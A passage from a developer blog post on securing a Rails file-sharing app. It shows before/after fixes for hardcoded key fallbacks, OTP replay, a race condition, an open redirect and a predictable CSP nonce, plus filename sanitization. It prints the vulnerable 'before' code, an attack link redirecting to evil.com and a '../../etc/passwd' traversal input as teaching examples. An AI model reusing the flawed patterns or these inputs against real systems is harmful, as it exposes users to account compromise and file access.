</span></span><span class="line"><span class="cl"><span class="c1"># Because secure_headers doesn&#39;t support nonces for importmap inline scripts</span>
</span></span><span class="line"><span class="cl"><span class="n">config</span><span class="o">.</span><span class="n">csp</span> <span class="o">=</span> <span class="no">SecureHeaders</span><span class="o">::</span><span class="no">OPT_OUT</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>This kind of gem incompatibility you only discover in the moment. No LLM will warn you about this up front because it&rsquo;s a specific combination of versions.</p>
<h3>Phase 2: The Security Commit &ndash; 22 Issues Fixed (13:10)<span class="hx:absolute hx:-mt-20" id="phase-2-the-security-commit--22-issues-fixed-1310"></span>
    <a href="#phase-2-the-security-commit--22-issues-fixed-1310" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>This is the most important commit of the entire project: <code>4a854a6</code>. 35 files, 612 lines, 22 security issues fixed. I&rsquo;ll go into detail because this is where toy code separates from production code.</p>
<p>What the initial commit got wrong:</p>
<p><strong>CRITICAL &ndash; Encryption keys with hardcoded fallbacks:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="c1"># BEFORE (dangerous):</span>
</span></span><span class="line"><span class="cl"><span class="n">config</span><span class="o">.</span><span class="n">active_record</span><span class="o">.</span><span class="n">encryption</span><span class="o">.</span><span class="n">primary_key</span> <span class="o">=</span> <span class="no">ENV</span><span class="o">.</span><span class="n">fetch</span><span class="p">(</span><span class="s2">&#34;KEY&#34;</span><span class="p">,</span> <span class="s2">&#34;test-primary-key&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># AFTER (fail-fast):</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="no">Rails</span><span class="o">.</span><span class="n">env</span><span class="o">.</span><span class="n">production?</span>
</span></span><span class="line"><span class="cl">  <span class="n">config</span><span class="o">.</span><span class="n">active_record</span><span class="o">.</span><span class="n">encryption</span><span class="o">.</span><span class="n">primary_key</span> <span class="o">=</span> <span class="no">ENV</span><span class="o">.</span><span class="n">fetch</span><span class="p">(</span><span class="s2">&#34;ACTIVE_RECORD_ENCRYPTION_PRIMARY_KEY&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>If the ENV var didn&rsquo;t exist in production, the app would happily run with the hardcoded key. Anyone reading the source code could decrypt every user&rsquo;s OTP secrets. Now in production, if the variable is missing, the app <strong>crashes on boot</strong>. That&rsquo;s the correct behavior.</p>
<p><strong>CRITICAL &ndash; Replay Attack on OTP:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="c1"># BEFORE:</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">verify_otp</span><span class="p">(</span><span class="n">code</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">totp</span> <span class="o">=</span> <span class="no">ROTP</span><span class="o">::</span><span class="no">TOTP</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">otp_secret</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">totp</span><span class="o">.</span><span class="n">verify</span><span class="p">(</span><span class="n">code</span><span class="p">,</span> <span class="ss">drift_behind</span><span class="p">:</span> <span class="mi">30</span><span class="p">,</span> <span class="ss">drift_ahead</span><span class="p">:</span> <span class="mi">30</span><span class="p">)</span><span class="o">.</span><span class="n">present?</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># AFTER:</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">verify_otp</span><span class="p">(</span><span class="n">code</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">totp</span> <span class="o">=</span> <span class="no">ROTP</span><span class="o">::</span><span class="no">TOTP</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">otp_secret</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">timestamp</span> <span class="o">=</span> <span class="n">totp</span><span class="o">.</span><span class="n">verify</span><span class="p">(</span><span class="n">code</span><span class="p">,</span> <span class="ss">drift_behind</span><span class="p">:</span> <span class="mi">30</span><span class="p">,</span> <span class="ss">drift_ahead</span><span class="p">:</span> <span class="mi">30</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="kp">false</span> <span class="k">unless</span> <span class="n">timestamp</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># Prevent replay: reject if this code&#39;s timestamp was already used</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="n">last_otp_at</span><span class="o">.</span><span class="n">present?</span> <span class="o">&amp;&amp;</span> <span class="no">Time</span><span class="o">.</span><span class="n">at</span><span class="p">(</span><span class="n">timestamp</span><span class="p">)</span> <span class="o">&lt;=</span> <span class="n">last_otp_at</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="kp">false</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">update_column</span><span class="p">(</span><span class="ss">:last_otp_at</span><span class="p">,</span> <span class="no">Time</span><span class="o">.</span><span class="n">at</span><span class="p">(</span><span class="n">timestamp</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">  <span class="kp">true</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Every TOTP tutorial online shows <code>verify(code).present?</code> and stops there. The problem: a TOTP code is valid for 30 seconds. If I intercept your code (shoulder surfing, camera, clipboard), I can use it multiple times in that window. <code>last_otp_at</code> guarantees real one-time use.</p>
<p><strong>HIGH &ndash; Race Condition on the Download Counter:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="c1"># BEFORE (race condition):</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">increment_download!</span>
</span></span><span class="line"><span class="cl">  <span class="n">increment!</span><span class="p">(</span><span class="ss">:download_count</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># AFTER (atomic):</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">increment_download!</span>
</span></span><span class="line"><span class="cl">  <span class="nb">self</span><span class="o">.</span><span class="n">class</span><span class="o">.</span><span class="n">where</span><span class="p">(</span><span class="nb">id</span><span class="p">:</span> <span class="nb">id</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="o">.</span><span class="n">where</span><span class="p">(</span><span class="s2">&#34;download_count &lt; max_downloads&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="o">.</span><span class="n">where</span><span class="p">(</span><span class="s2">&#34;expires_at &gt; ?&#34;</span><span class="p">,</span> <span class="no">Time</span><span class="o">.</span><span class="n">current</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="o">.</span><span class="n">update_all</span><span class="p">(</span><span class="s2">&#34;download_count = download_count + 1&#34;</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>increment!</code> does: (1) read the value, (2) add 1 in Ruby, (3) write it back. Two simultaneous requests can both read <code>4</code>, both write <code>5</code>, and the user gets two downloads when they should only have had one. The atomic <code>UPDATE ... WHERE</code> in SQL guarantees only one request wins. And the <code>== 1</code> returns success/failure in a single operation, with no lock.</p>
<p>This is the classic TOCTOU bug (Time of Check, Time of Use). You&rsquo;ll never see it in local development with one browser. It only shows up in production with concurrent requests.</p>
<p><strong>HIGH &ndash; Open Redirect after login:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="c1"># AFTER:</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">safe_redirect_url?</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">uri</span> <span class="o">=</span> <span class="no">URI</span><span class="o">.</span><span class="n">parse</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">uri</span><span class="o">.</span><span class="n">host</span><span class="o">.</span><span class="n">nil?</span> <span class="o">||</span> <span class="n">uri</span><span class="o">.</span><span class="n">host</span> <span class="o">==</span> <span class="n">request</span><span class="o">.</span><span class="n">host</span>
</span></span><span class="line"><span class="cl"><span class="k">rescue</span> <span class="no">URI</span><span class="o">::</span><span class="no">InvalidURIError</span>
</span></span><span class="line"><span class="cl">  <span class="kp">false</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Without this, an attacker could send a link like <code>frankmega.com/session?return_to=https://evil.com</code> and after login the user would be redirected to the malicious site.</p>
<p><strong>MEDIUM &ndash; Predictable CSP nonce:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="c1"># BEFORE:</span>
</span></span><span class="line"><span class="cl"><span class="n">config</span><span class="o">.</span><span class="n">content_security_policy_nonce_generator</span> <span class="o">=</span> <span class="o">-&gt;</span><span class="p">(</span><span class="n">request</span><span class="p">)</span> <span class="p">{</span> <span class="n">request</span><span class="o">.</span><span class="n">session</span><span class="o">.</span><span class="n">id</span><span class="o">.</span><span class="n">to_s</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># AFTER:</span>
</span></span><span class="line"><span class="cl"><span class="n">config</span><span class="o">.</span><span class="n">content_security_policy_nonce_generator</span> <span class="o">=</span> <span class="o">-&gt;</span><span class="p">(</span><span class="n">_request</span><span class="p">)</span> <span class="p">{</span> <span class="no">SecureRandom</span><span class="o">.</span><span class="n">base64</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span> <span class="p">}</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Session ID doesn&rsquo;t change between requests. If the nonce is predictable, an attacker can inject scripts with the correct nonce. It has to be random per request.</p>
<p>And more: Cloudflare IPv6 added to trusted proxies, minimum 12 characters for passwords, server-side MIME detection via Marcel, file size verified from the tempfile (not from the client header that can be forged), protection against deleting/banning/demoting the last admin.</p>
<p>The test count jumped from 73 to 109 with this single commit.</p>
<h2>How Rails Makes Security Easier<span class="hx:absolute hx:-mt-20" id="how-rails-makes-security-easier"></span>
    <a href="#how-rails-makes-security-easier" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Rails makes implementing security MUCH easier than doing it from scratch. Look at the comparison:</p>
<table>
  <thead>
      <tr>
          <th>Feature</th>
          <th>Rails</th>
          <th>From scratch</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>CSRF</td>
          <td>Automatic in <code>ActionController::Base</code></td>
          <td>Implement per-session tokens in every form</td>
      </tr>
      <tr>
          <td>Password hash</td>
          <td><code>has_secure_password</code> (1 line)</td>
          <td>Pick algorithm, salt, implement verification</td>
      </tr>
      <tr>
          <td>Filtered parameters</td>
          <td><code>config.filter_parameters</code></td>
          <td>Hook into the logging system</td>
      </tr>
      <tr>
          <td>Strong params</td>
          <td><code>params.require().permit()</code></td>
          <td>Manual whitelist middleware</td>
      </tr>
      <tr>
          <td>Field encryption</td>
          <td><code>encrypts :otp_secret</code> (1 line)</td>
          <td>Envelope encryption, key rotation, transparent decrypt</td>
      </tr>
      <tr>
          <td>CSP with nonces</td>
          <td>1-block config</td>
          <td>Generate nonces, inject into HTML tags, set headers</td>
      </tr>
      <tr>
          <td>Rate limiting (Rails 8)</td>
          <td><code>rate_limit to: 10, within: 3.minutes</code></td>
          <td>Counter storage, sliding window logic</td>
      </tr>
      <tr>
          <td>SQL injection</td>
          <td>Parameterized queries by default</td>
          <td>Parameterize every query manually</td>
      </tr>
  </tbody>
</table>
<p>Rails 8 in particular brought <code>rate_limit</code> built into the controller:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">SessionsController</span> <span class="o">&lt;</span> <span class="no">ApplicationController</span>
</span></span><span class="line"><span class="cl">  <span class="n">rate_limit</span> <span class="ss">to</span><span class="p">:</span> <span class="mi">10</span><span class="p">,</span> <span class="ss">within</span><span class="p">:</span> <span class="mi">3</span><span class="o">.</span><span class="n">minutes</span><span class="p">,</span> <span class="ss">only</span><span class="p">:</span> <span class="ss">:create</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="ss">with</span><span class="p">:</span> <span class="o">-&gt;</span> <span class="p">{</span> <span class="n">redirect_to</span> <span class="n">new_session_path</span><span class="p">,</span> <span class="ss">alert</span><span class="p">:</span> <span class="n">t</span><span class="p">(</span><span class="s2">&#34;flash.sessions.create.rate_limit&#34;</span><span class="p">)</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>And authentication? Rails 8 now ships with a built-in <strong>authentication generator</strong>. You no longer need Devise for basic stuff. FrankMega&rsquo;s <code>app/controllers/concerns/authentication.rb</code> is based on that and extends it with 2FA, passkeys and invitation-only registration.</p>
<h2>File Sharing Is More Than Downloads<span class="hx:absolute hx:-mt-20" id="file-sharing-is-more-than-downloads"></span>
    <a href="#file-sharing-is-more-than-downloads" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>One thing lots of people don&rsquo;t realize: a file sharing service has a huge attack surface. It goes way beyond &ldquo;save file, generate link&rdquo;. Look at everything you need to consider:</p>
<h3>Filename Sanitization<span class="hx:absolute hx:-mt-20" id="filename-sanitization"></span>
    <a href="#filename-sanitization" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">sanitize_filename</span><span class="p">(</span><span class="nb">name</span><span class="p">,</span> <span class="n">content_type</span> <span class="o">=</span> <span class="kp">nil</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">sanitized</span> <span class="o">=</span> <span class="no">File</span><span class="o">.</span><span class="n">basename</span><span class="p">(</span><span class="nb">name</span><span class="o">.</span><span class="n">to_s</span><span class="p">)</span>                          <span class="c1"># Strip path traversal</span>
</span></span><span class="line"><span class="cl">  <span class="n">sanitized</span> <span class="o">=</span> <span class="n">sanitized</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s2">&#34;UTF-8&#34;</span><span class="p">,</span> <span class="ss">invalid</span><span class="p">:</span> <span class="ss">:replace</span><span class="p">,</span>      <span class="c1"># Handle invalid UTF-8</span>
</span></span><span class="line"><span class="cl">                                <span class="k">undef</span><span class="p">:</span> <span class="ss">:replace</span><span class="p">,</span> <span class="ss">replace</span><span class="p">:</span> <span class="s2">&#34;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">sanitized</span> <span class="o">=</span> <span class="n">sanitized</span><span class="o">.</span><span class="n">gsub</span><span class="p">(</span><span class="sr">/[\x00-\x1f\x7f\/\\:*?&#34;&lt;&gt;|]/</span><span class="p">,</span> <span class="s2">&#34;&#34;</span><span class="p">)</span> <span class="c1"># Control chars + unsafe chars</span>
</span></span><span class="line"><span class="cl">  <span class="n">sanitized</span> <span class="o">=</span> <span class="n">sanitized</span><span class="o">.</span><span class="n">sub</span><span class="p">(</span><span class="sr">/\A\.+/</span><span class="p">,</span> <span class="s2">&#34;&#34;</span><span class="p">)</span>                        <span class="c1"># Leading dots (hidden files)</span>
</span></span><span class="line"><span class="cl">  <span class="n">sanitized</span> <span class="o">=</span> <span class="n">sanitized</span><span class="o">.</span><span class="n">gsub</span><span class="p">(</span><span class="sr">/\s+/</span><span class="p">,</span> <span class="s2">&#34; &#34;</span><span class="p">)</span><span class="o">.</span><span class="n">strip</span>                  <span class="c1"># Collapse whitespace</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># Windows reserved device names</span>
</span></span><span class="line"><span class="cl">  <span class="n">base_without_ext</span> <span class="o">=</span> <span class="n">sanitized</span><span class="o">.</span><span class="n">sub</span><span class="p">(</span><span class="sr">/\.[^.]*\z/</span><span class="p">,</span> <span class="s2">&#34;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="n">base_without_ext</span><span class="o">.</span><span class="n">match?</span><span class="p">(</span><span class="sr">/\A(CON|PRN|AUX|NUL|COM[1-9]|LPT[1-9])\z/i</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">sanitized</span> <span class="o">=</span> <span class="s2">&#34;_</span><span class="si">#{</span><span class="n">sanitized</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">sanitized</span> <span class="o">=</span> <span class="n">strip_extension_junk</span><span class="p">(</span><span class="n">sanitized</span><span class="p">,</span> <span class="n">content_type</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">sanitized</span> <span class="o">=</span> <span class="n">truncate_filename</span><span class="p">(</span><span class="n">sanitized</span><span class="p">,</span> <span class="mi">255</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">sanitized</span><span class="o">.</span><span class="n">presence</span> <span class="o">||</span> <span class="s2">&#34;unnamed_file&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Every line exists for a reason:</p>
<ul>
<li><code>File.basename</code> blocks path traversal (<code>../../etc/passwd</code> becomes <code>passwd</code>)</li>
<li>Stripping control chars blocks null byte injection and terminal escape injection</li>
<li>Windows reserved names (CON, NUL, AUX, LPT1-9) cause problems if storage is accessed from Windows</li>
<li>Truncating to 255 bytes (not characters!) while preserving the extension &ndash; a 4-byte emoji counts as 4 toward the ext4/NTFS limit</li>
<li><code>strip_extension_junk</code> handles names that come from URLs with glued-on parameters: <code>photo.jpg_1280x720+quality=80</code> becomes <code>photo.jpg</code></li>
</ul>
<p>And this is server-side. There&rsquo;s also client-side validation in the Stimulus controller to reject before upload:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="nx">isInvalidFilename</span><span class="p">(</span><span class="nx">name</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="k">new</span> <span class="nx">Blob</span><span class="p">([</span><span class="nx">name</span><span class="p">]).</span><span class="nx">size</span> <span class="o">&gt;</span> <span class="mi">255</span><span class="p">)</span> <span class="k">return</span> <span class="kc">true</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="sr">/[\x00-\x1f\x7f/:*?&#34;&lt;&gt;|\\]/</span><span class="p">.</span><span class="nx">test</span><span class="p">(</span><span class="nx">name</span><span class="p">))</span> <span class="k">return</span> <span class="kc">true</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="kc">false</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>Server-Side MIME Type Detection<span class="hx:absolute hx:-mt-20" id="server-side-mime-type-detection"></span>
    <a href="#server-side-mime-type-detection" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="vi">@shared_file</span><span class="o">.</span><span class="n">content_type</span> <span class="o">=</span> <span class="no">Marcel</span><span class="o">::</span><span class="no">MimeType</span><span class="o">.</span><span class="n">for</span><span class="p">(</span><span class="n">uploaded</span><span class="o">.</span><span class="n">tempfile</span><span class="p">,</span> <span class="nb">name</span><span class="p">:</span> <span class="n">uploaded</span><span class="o">.</span><span class="n">original_filename</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="vi">@shared_file</span><span class="o">.</span><span class="n">file_size</span> <span class="o">=</span> <span class="n">uploaded</span><span class="o">.</span><span class="n">tempfile</span><span class="o">.</span><span class="n">size</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Don&rsquo;t trust the <code>Content-Type</code> the browser sends. Marcel inspects the file&rsquo;s magic bytes to determine the real type. And the file size comes from the tempfile on disk, not from the <code>Content-Length</code> header which can be forged.</p>
